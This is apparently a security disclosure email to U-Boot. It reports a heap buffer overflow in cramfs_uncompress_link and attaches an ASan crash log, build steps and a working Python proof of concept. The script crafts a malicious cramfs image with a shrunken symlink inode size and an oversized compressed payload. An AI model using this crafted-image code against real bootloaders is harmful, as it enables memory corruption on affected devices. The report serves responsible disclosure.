Hi, I'm Koon

I am reporting a vulnerable code that I discovered.


Summary: There is a Heap Buffer Overflow vulnerability in the
cramfs_uncompress_link function within fs/cramfs/cramfs.c . This
vulnerability allows an attacker to overwrite heap metadata and adjacent
memory chunks

Vulnerability Details: The vulnerability is caused by a "Time-of-Check to
Time-of-Use" (TOCTOU) error

1)The code reads the file size from the inode (inode->size) and allocates
memory using malloc(size + 1) .
2)However, it calls cramfs_uncompress to decompress the data without
passing the allocated size limit.
3)If an attacker provides a compressed payload that inflates to a size
larger than inode->size, cramfs_uncompress writes past the end of the
allocated buffer.

Affected Code ( fs/cramfs/cramfs.c ):
static char *cramfs_uncompress_link (unsigned long begin, unsigned long
offset)
{
// ...
unsigned long size = CRAMFS_24 (inode->size);
char *link = malloc (size + 1); // Allocation based on inode size
// Vulnerability: No size limit passed to uncompress
if (!link || cramfs_uncompress (begin, offset, (unsigned long)link) !=
size) {
// ...
}
// ...
}

PoC:
I have verified this vulnerability using U-Boot Sandbox with
AddressSanitizer (ASan) enabled. Setup: inode->size set to 1 byte,
compressed payload inflates to 100 bytes. Result: ASan reports a SIGSEGV in
do_check_inuse_chunk (common/dlmalloc.c), confirming heap metadata
corruption.




I have attached the full ASan Log and the PoC code, Setting_txt for
reproduction.
Best regards,
AddressSanitizer:DEADLYSIGNAL
=================================================================
==24027==ERROR: AddressSanitizer: SEGV on unknown address 0x2828382b5dfd1f (pc 
0xaaaad81206d8 bp 0xffffd9784cc0 sp 0xffffd9784cc0 T0)
==24027==The signal is caused by a READ memory access.
    #0 0xaaaad81206d8 in do_check_inuse_chunk common/dlmalloc.c:833
    #1 0xaaaad8120790 in dlfree common/dlmalloc.c:1563
    #2 0xaaaad8120790 in dlfree common/dlmalloc.c:1525
    #3 0xaaaad823b5f8 in cramfs_uncompress_link fs/cramfs/cramfs.c:108
    #4 0xaaaad8243310 in cramfs_resolve fs/cramfs/cramfs.c:172
    #5 0xaaaad80bc5a8 in cramfs_load fs/cramfs/cramfs.c:242
    #6 0xaaaad80bc5a8 in do_cramfs_load cmd/cramfs.c:136
    #7 0xaaaad811b9d0 in cmd_call common/command.c:582
    #8 0xaaaad811b9d0 in cmd_process common/command.c:637
    #9 0xaaaad810ffa8 in run_pipe_real common/cli_hush.c:1674
    #10 0xaaaad810ffa8 in run_list_real common/cli_hush.c:1870
    #11 0xaaaad8110cb8 in run_list common/cli_hush.c:2019
    #12 0xaaaad8110cb8 in parse_stream_outer common/cli_hush.c:3209
    #13 0xaaaad806437c in parse_file_outer common/cli_hush.c:3301
    #14 0xaaaad806437c in cli_loop common/cli.c:302
    #15 0xaaaad806437c in main_loop common/main.c:82
    #16 0xaaaad806437c in run_main_loop common/board_r.c:590
    #17 0xaaaad806437c in initcall_run_r common/board_r.c:783
    #18 0xaaaad806437c in board_init_r common/board_r.c:813
    #19 0xaaaad806437c in sandbox_main arch/sandbox/cpu/start.c:584
    #20 0xffffba4d73fc  (/lib/aarch64-linux-gnu/libc.so.6+0x273fc)
    #21 0xffffba4d74d4 in __libc_start_main 
(/lib/aarch64-linux-gnu/libc.so.6+0x274d4)
    #22 0xaaaad805586c in _start (/work/u-boot/u-boot+0x26586c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV common/dlmalloc.c:833 in do_check_inuse_chunk
==24027==ABORTING
docker run -it --rm -v $(pwd):/work -w /work ubuntu:22.04 bash

apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y \
    build-essential libssl-dev libgnutls28-dev git \
    bison flex libsdl2-dev device-tree-compiler \
    python3 python3-dev python3-setuptools swig libpython3-dev \
    uuid-dev efitools

# Clone U-Boot repository (if not already present)
git clone https://github.com/u-boot/u-boot.git
cd u-boot
make mrproper
make sandbox_defconfig
# Enable ASan and CramFS
echo "CONFIG_ASAN=y" >> .config
echo "CONFIG_CMD_CRAMFS=y" >> .config
echo "CONFIG_FS_CRAMFS=y" >> .config
echo "CONFIG_VIDEO=n" >> .config
echo "CONFIG_DM_VIDEO=n" >> .config
make oldconfig
make -j1  # Single thread recommended for ASan builds
cd ..

python3 poc_cramfs.py

./u-boot/u-boot

host bind 0 asan_poc.cramfs
setenv cramfsaddr 0x2000000
host load hostfs - 0x2000000 asan_poc.cramfs
cramfsload 0x1000000 /link
#!/usr/bin/env python3
"""
CramFS Heap Buffer Overflow PoC for ASan
Target: U-Boot fs/cramfs/cramfs.c:cramfs_uncompress_link
Vulnerability:
    1. cramfs_uncompress_link allocates memory based on inode->size.
    2. cramfs_uncompress decompresses data into this buffer.
    3. It checks if uncompressed size matches inode->size ONLY AFTER decompression.
    4. If we set inode->size small (e.g., 1) but provide a large compressed block (e.g., 4KB),
       it will write 4KB into a 2-byte buffer, triggering a Heap Buffer Overflow.
"""

import struct
import zlib
import os

def create_cramfs_superblock():
    """
    Creates the CramFS superblock structure.
    
    This function constructs the 76-byte superblock header required for a valid CramFS image.
    It sets the Magic number, Size, Flags, and initializes the Root Inode information.
    """
    data = bytearray(76)
    
    struct.pack_into('<I', data, 0, 0x28cd3d45)
    struct.pack_into('<I', data, 4, 0x10000)
    struct.pack_into('<I', data, 8, 0x00000001)
    struct.pack_into('<I', data, 12, 0)
    data[16:32] = b'Compressed ROMFS'
    struct.pack_into('<I', data, 32, 0x12345678)
    struct.pack_into('<I', data, 36, 0)
    struct.pack_into('<I', data, 40, 0x100)
    struct.pack_into('<I', data, 44, 0x10)
    data[48:64] = b'asan_crash_fs   '
    
    struct.pack_into('<H', data, 64, 0x41ED)
    struct.pack_into('<H', data, 66, 0)
    data[68] = 0x00
    data[69] = 0x01
    data[70] = 0x00
    data[71] = 0
    struct.pack_into('<I', data, 72, 0x4C0)
    
    return bytes(data)

def create_malicious_symlink_inode(data_offset_blocks):
    """
    Creates a malicious symbolic link inode.
    
    This function generates an inode for a symbolic link with a manipulated 'size' field.
    By setting the size to 1 byte, we trick U-Boot into allocating a very small buffer (malloc(2)).
    However, the actual data pointed to by this inode will be much larger, causing an overflow.
    """
    data = bytearray()
    
    data += struct.pack('<H', 0xA1FF)
    
    data += struct.pack('<H', 0)
    
    data += bytes([0x01, 0x00, 0x00])
    
    data += struct.pack('<B', 0)
    
    val = (data_offset_blocks << 6) | 4
    data += struct.pack('<I', val)
    
    data += b'link\x00\x00\x00\x00'
    
    return bytes(data)

def main():
    """
    Main function to generate the malicious CramFS image.
    
    This function assembles the final 'asan_poc.cramfs' image by:
    1. Creating the Superblock.
    2. Creating the Malicious Inode.
    3. Adding necessary Padding and Block Pointers.
    4. Creating a large Compressed Payload (100 bytes) that exceeds the allocated size.
    5. Writing the constructed binary data to 'asan_poc.cramfs'.
    """
    print("[+] Creating ASan Crash CramFS image...")
    
    superblock = create_cramfs_superblock()
    
    symlink_inode = create_malicious_symlink_inode(64)
    
    current_size = len(superblock) + len(symlink_inode)
    padding1 = b'\x00' * (256 - current_size)
    
    payload = b'A' * 100
    compressed_data = zlib.compress(payload)
    compressed_len = len(compressed_data)
    
    block_ptr_value = 260 + compressed_len
    
    block_ptrs = struct.pack('<I', block_ptr_value)
    
    image = superblock + symlink_inode + padding1 + block_ptrs + compressed_data
    
    if len(image) < 4096:
        image += b'\x00' * (4096 - len(image))
        
    with open("asan_poc.cramfs", "wb") as f:
        f.write(image)
        
    print(f"[+] Created asan_poc.cramfs")
    print(f"[+] Inode Size: 1 byte (Allocates 2 bytes)")
    print(f"[+] Payload: 100 bytes (Writes 100 bytes)")
    print(f"[+] Expected Result: Heap Buffer Overflow (Write of 98 bytes out of bounds)")

if __name__ == "__main__":
    main()

Reply via email to